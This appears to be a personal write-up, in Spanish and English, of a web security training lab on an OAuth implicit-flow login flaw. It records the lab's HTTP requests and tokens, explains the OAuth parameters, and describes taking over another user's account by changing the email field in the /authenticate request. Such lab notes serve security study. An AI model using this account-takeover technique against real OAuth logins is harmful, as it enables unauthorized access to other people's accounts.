BACKGROUND

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users' accounts without knowing their password. To solve the lab, log in to Carlos's account. His email address is carlos@carlos-montoya.net You can log in with your own social media account using the following credentials: wiener:peter.

---

EXPLOITATION

https://siunam321.github.io/ctf/portswigger-labs/OAuth-Authentication/oauth-1/

Al iniciar sesion con las credenciales se sigue este flujo:

• GET /my-account
• redireccion a : GET /social-login
• GET /auth?client_id=kf8dlbsnofv01tyhfe43n&redirect_uri=https://0a7400930475bcb8805d1705004a0003.web-security-academy.net/oauth-callback&response_type=token&nonce=-6836096&scope=openid%20profile%20email HTTP/2
  • se recibe : Set-Cookie: _interaction=UYxHDxXsg5L3b1NMnMtEr;
  • nos indica que utiliza OAuth
• GET /interaction/UYxHDxXsg5L3b1NMnMtEr
  • se utiliza: Cookie: _interaction=UYxHDxXsg5L3b1NMnMtEr

A partir de aqui se pueden ingresar los parametros de usuario y password:

• POST /interaction/UYxHDxXsg5L3b1NMnMtEr/login

username=wiener&password=peter

luego nos lleva a una web para realizar la autorizacion GET /auth/UYxHDxXsg5L3b1NMnMtEr

GET /auth?client_id=kf8dlbsnofv01tyhfe43n&redirect_uri=https://0a7400930475bcb8805d1705004a0003.web-security-academy.net/oauth-callback&response_type=token&nonce=-6836096&scope=openid%20profile%20email HTTP/2

• client_id : parametro onlicatorio para identificar la app cliente, generado cuando la app cliente se registra con el servicio OAuth.
• redirect_uri : es la URI la cual el browser del usuario sera redireccionado CUANDO se envie el authorization code a la app cliete (la que solicita o requiere) tambien llamado CALLBACK URI/CALLBACK ENDPOINT
• response_type : determina el tipo de respuesta que espera el cliente,
• state en OAuth 2.0 : almacena un inadivinable, unico valor enlazado a la sesion actual de la app cliente. Asimismo, el servicio OAuth debe retornar este valor junto al authorization code conformando asi una forma de CSRF Token para la app cliente (asegurando que la request hacia su callback endpoint es desde la persona que inicio el flujo OAuth)
• nonce en OPEN ID : enlaza el token con el cliente, sirve como parametro de validacion de token
• scope : utilizado para especificar cual subconjunto subset de datos del usuario la app cliente quiere acceder

Con todo lo anterior, se sabe que response_type esta asignado a token, lo cual es el implicit grant type o "tipo de consesion implicita"

Redirecting to https://0ae00012030597c3814e2f9700440021.web-security-academy.net/oauth-callback#access_token=bY66yHIhrP95bFDWfJZsFVJSzHzPyYwU3pgCMKCe53X&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email.

After the users grants access to the OAuth Service API to the client app, its gonna be redirected to a url which fragment contains an access_token which is then extractracted by javascript.

POST /authenticate HTTP/2
{"email":"wiener@hotdog.com","username":"wiener","token":"bY66yHIhrP95bFDWfJZsFVJSzHzPyYwU3pgCMKCe53X"}

RESPONSE:
Set-Cookie: session=03iJIj8DY2kTWZg0m2oJ4sOjA9qtd5Gz;

The application needs a mechanism to store the sessions, In this case it doesn't use passwords, also if I logged out from it, and loggin in again I get my latest session by a /authenticate which I can manipulate the email field carlos@carlos-montoya.net and get the implicit trusted session In this request/response in /authenticate we get a session cookie, this is equivalent to complete a form with user/pass, but in this scenario it doesn't have passwords or secrets to compare, thats why it is implicited trusted